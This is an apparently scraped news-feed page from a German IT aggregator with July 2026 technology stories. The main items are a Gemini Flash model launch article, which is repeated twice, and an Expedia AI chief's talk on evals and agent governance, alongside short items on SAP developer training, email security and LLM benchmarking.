]]> <![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 23:33:56 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

Model

Input ($/1M)

Output ($/1M)

Total ($/1M)

Source

MiMo-V2.5 Flash

$0.10

$0.30

$0.40

Xiaomi

deepseek-v4-flash

$0.14

$0.28

$0.42

DeepSeek

deepseek-v4-pro

$0.435

$0.87

$1.305

DeepSeek

MiniMax-M3

$0.30

$1.20

$1.50

MiniMax

LongCat-2.0 — limited-time promo

$0.30

$1.20

$1.50

LongCat

Gemini 3.1 Flash-Lite

$0.25

$1.50

$1.75

Google

Qwen3.7-Plus

$0.40

$1.60

$2.00

Alibaba Cloud

MiMo-V2.5

$0.40

$2.00

$2.40

Xiaomi

Gemini 3.5 Flash-Lite

$0.30

$2.50

$2.80

Google

LongCat-2.0 — standard

$0.75

$2.95

$3.70

LongCat

MiMo-V2.5 Pro (≀256K)

$1.00

$3.00

$4.00

Xiaomi

GLM-5.2

$1.40

$4.40

$5.80

Z.ai

GPT-5.6 Luna

$1.00

$6.00

$7.00

OpenAI

Grok 4.5

$2.00

$6.00

$8.00

xAI

MiMo-V2.5 Pro (>256K)

$2.00

$6.00

$8.00

Xiaomi

Gemini 3.6 Flash

$1.50

$7.50

$9.00

Google

Qwen3.7-Max

$2.50

$7.50

$10.00

Alibaba Cloud

Gemini 3.5 Flash

$1.50

$9.00

$10.50

Google

Gemini 3.1 Pro Preview (≀200K)

$2.00

$12.00

$14.00

Google

GPT-5.6 Terra

$2.50

$15.00

$17.50

OpenAI

GPT-5.4

$2.50

$15.00

$17.50

OpenAI

Kimi K3

$3.00

$15.00

$18.00

Moonshot AI

Gemini 3.1 Pro Preview (>200K)

$4.00

$18.00

$22.00

Google

Claude Opus 4.8

$5.00

$25.00

$30.00

Anthropic

GPT-5.5

$5.00

$30.00

$35.00

OpenAI

GPT-5.5 Instant (chat-latest)

$5.00

$30.00

$35.00

OpenAI

Sakana Fugu Ultra (≀272K)

$5.00

$30.00

$35.00

Sakana AI

GPT-5.6 Sol

$5.00

$30.00

$35.00

OpenAI

Claude Fable 5 / Claude Mythos 5

$10.00

$50.00

$60.00

Anthropic

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting.

The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

]]> <![CDATA[AI Companies Are Buying Tons of Old Books Because They're Free of AI Slop]]> https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/ https://tsecurity.de/de/3684838/it-security-nachrichten/ai-companies-are-buying-tons-of-old-books-because-theyre-free-of-ai-slop/ Tue, 21 Jul 2026 23:04:37 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Inline Email Security and Microsoft 365: A Practical View of Mail Routing, Risk, and Prevention]]> https://tsecurity.de/de/3684837/it-security-nachrichten/inline-email-security-and-microsoft-365-a-practical-view-of-mail-routing-risk-and-prevention/ https://tsecurity.de/de/3684837/it-security-nachrichten/inline-email-security-and-microsoft-365-a-practical-view-of-mail-routing-risk-and-prevention/ Tue, 21 Jul 2026 23:04:36 +0200 📰 IT Security Nachrichten tsecurity.de

Microsoft’s guidance on inbound and outbound mail routing for third-party email security has prompted a fair question from customers: how should organizations evaluate inline email security for Microsoft 365?  The answer depends less on whether a solution is inline and more on how that inline architecture is implemented. Microsoft is right to call attention to mail flow designs that can introduce unnecessary complexity, create authentication challenges, duplicate processing, or disrupt the expected Microsoft 365 experience. Those risks are real when a third-party service is bolted onto the environment without careful integration.  That is also why architecture matters. A modern enterprise [
]

The post Inline Email Security and Microsoft 365: A Practical View of Mail Routing, Risk, and Prevention appeared first on Check Point Blog.

]]> <![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]> https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/ Tue, 21 Jul 2026 22:56:46 +0200 📰 IT Nachrichten tsecurity.de Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber.

The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out.

Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck.

VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)

Model

Input ($/1M)

Output ($/1M)

Total ($/1M)

Source

MiMo-V2.5 Flash

$0.10

$0.30

$0.40

Xiaomi

deepseek-v4-flash

$0.14

$0.28

$0.42

DeepSeek

deepseek-v4-pro

$0.435

$0.87

$1.305

DeepSeek

MiniMax-M3

$0.30

$1.20

$1.50

MiniMax

LongCat-2.0 — limited-time promo

$0.30

$1.20

$1.50

LongCat

Gemini 3.1 Flash-Lite

$0.25

$1.50

$1.75

Google

Qwen3.7-Plus

$0.40

$1.60

$2.00

Alibaba Cloud

MiMo-V2.5

$0.40

$2.00

$2.40

Xiaomi

Gemini 3.5 Flash-Lite

$0.30

$2.50

$2.80

Google

LongCat-2.0 — standard

$0.75

$2.95

$3.70

LongCat

MiMo-V2.5 Pro (≀256K)

$1.00

$3.00

$4.00

Xiaomi

GLM-5.2

$1.40

$4.40

$5.80

Z.ai

GPT-5.6 Luna

$1.00

$6.00

$7.00

OpenAI

Grok 4.5

$2.00

$6.00

$8.00

xAI

MiMo-V2.5 Pro (>256K)

$2.00

$6.00

$8.00

Xiaomi

Gemini 3.6 Flash

$1.50

$7.50

$9.00

Google

Qwen3.7-Max

$2.50

$7.50

$10.00

Alibaba Cloud

Gemini 3.5 Flash

$1.50

$9.00

$10.50

Google

Gemini 3.1 Pro Preview (≀200K)

$2.00

$12.00

$14.00

Google

GPT-5.6 Terra

$2.50

$15.00

$17.50

OpenAI

GPT-5.4

$2.50

$15.00

$17.50

OpenAI

Kimi K3

$3.00

$15.00

$18.00

Moonshot AI

Gemini 3.1 Pro Preview (>200K)

$4.00

$18.00

$22.00

Google

Claude Opus 4.8

$5.00

$25.00

$30.00

Anthropic

GPT-5.5

$5.00

$30.00

$35.00

OpenAI

GPT-5.5 Instant (chat-latest)

$5.00

$30.00

$35.00

OpenAI

Sakana Fugu Ultra (≀272K)

$5.00

$30.00

$35.00

Sakana AI

GPT-5.6 Sol

$5.00

$30.00

$35.00

OpenAI

Claude Fable 5 / Claude Mythos 5

$10.00

$50.00

$60.00

Anthropic

No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs.

While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate).

Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a separate Google blog post, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — CodeMender being Google's proprietary AI code bug-fixing agent released last year.

As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0.

One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, debuted back in February 2026, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's.

Google technical staffer Logan Kilpatrick responded to one such inquiry on X, writing: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready."

Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods.

If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.

Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks

Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the Artificial Analysis Index maintained by the independent third-party AI benchmarking group of the same name.

In specific long-horizon software engineering benchmarks like DeepSWE, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%.

This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle.

When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.

While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."

The official model cards released by Google reveal that both Gemini 3.6 Flash and Gemini 3.5 Flash-Lite feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.

Respectable benchmark performance at low cost

The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5.

It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%.

The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.

To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses.

The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.

Models for low-cost coding, agentic, and cybersecurity use cases — respectively

Google divided its new offerings into three distinct products tailored for different operational needs.

Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.

Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series.

As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. Artificial Analysis notes this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.

Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads.

Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%.

The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.

The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent.

In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark.

Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.

Commercial licensing only

The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.

An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash.

This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.

The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6.

In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.

Looking ahead

Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy,

the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.

Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced.

Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.

]]> <![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]> https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ Tue, 21 Jul 2026 20:19:07 +0200 📰 IT Nachrichten tsecurity.de “The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”

He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

Don’t let guardrails get in the way of feedback

“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

Specialized agents over monolithic intelligence

“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

When the user must keep the final click

Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

The next attackers will be other AI systems

“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

]]> <![CDATA[Validating Distributed LLM Serving Benchmarks with NVIDIA srt-slurm, SLURM Recipes, Parameter Sweeps, and Pareto Analysis]]> https://tsecurity.de/de/3684374/ai-nachrichten/validating-distributed-llm-serving-benchmarks-with-nvidia-srt-slurm-slurm-recipes-parameter-sweeps-and-pareto-analysis/ https://tsecurity.de/de/3684374/ai-nachrichten/validating-distributed-llm-serving-benchmarks-with-nvidia-srt-slurm-slurm-recipes-parameter-sweeps-and-pareto-analysis/ Tue, 21 Jul 2026 18:35:06 +0200 🔧 AI Nachrichten tsecurity.de In this tutorial, we explore NVIDIA’s srt-slurm framework and learn how we use srtctl to convert declarative YAML configurations into reproducible SLURM benchmark workflows for distributed LLM serving. We set up the project in Google Colab, inspect its internal architecture, define a cluster configuration, dry-run built-in and custom recipes, and model a disaggregated prefill-and-decode deployment [
]

The post Validating Distributed LLM Serving Benchmarks with NVIDIA srt-slurm, SLURM Recipes, Parameter Sweeps, and Pareto Analysis appeared first on MarkTechPost.

]]> <![CDATA[SAP developers face education debt, user group warns]]> https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/ https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/ Tue, 21 Jul 2026 17:50:28 +0200 📰 IT Nachrichten tsecurity.de

Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.

The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new report on upskilling [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.

Outdated expertise becomes a project risk

As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and ABAP Cloud.

In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.

The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.

Skill building must start before the project

The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.

But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.

AI no replacement for developer expertise

While AI tools can generate and explain code, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.

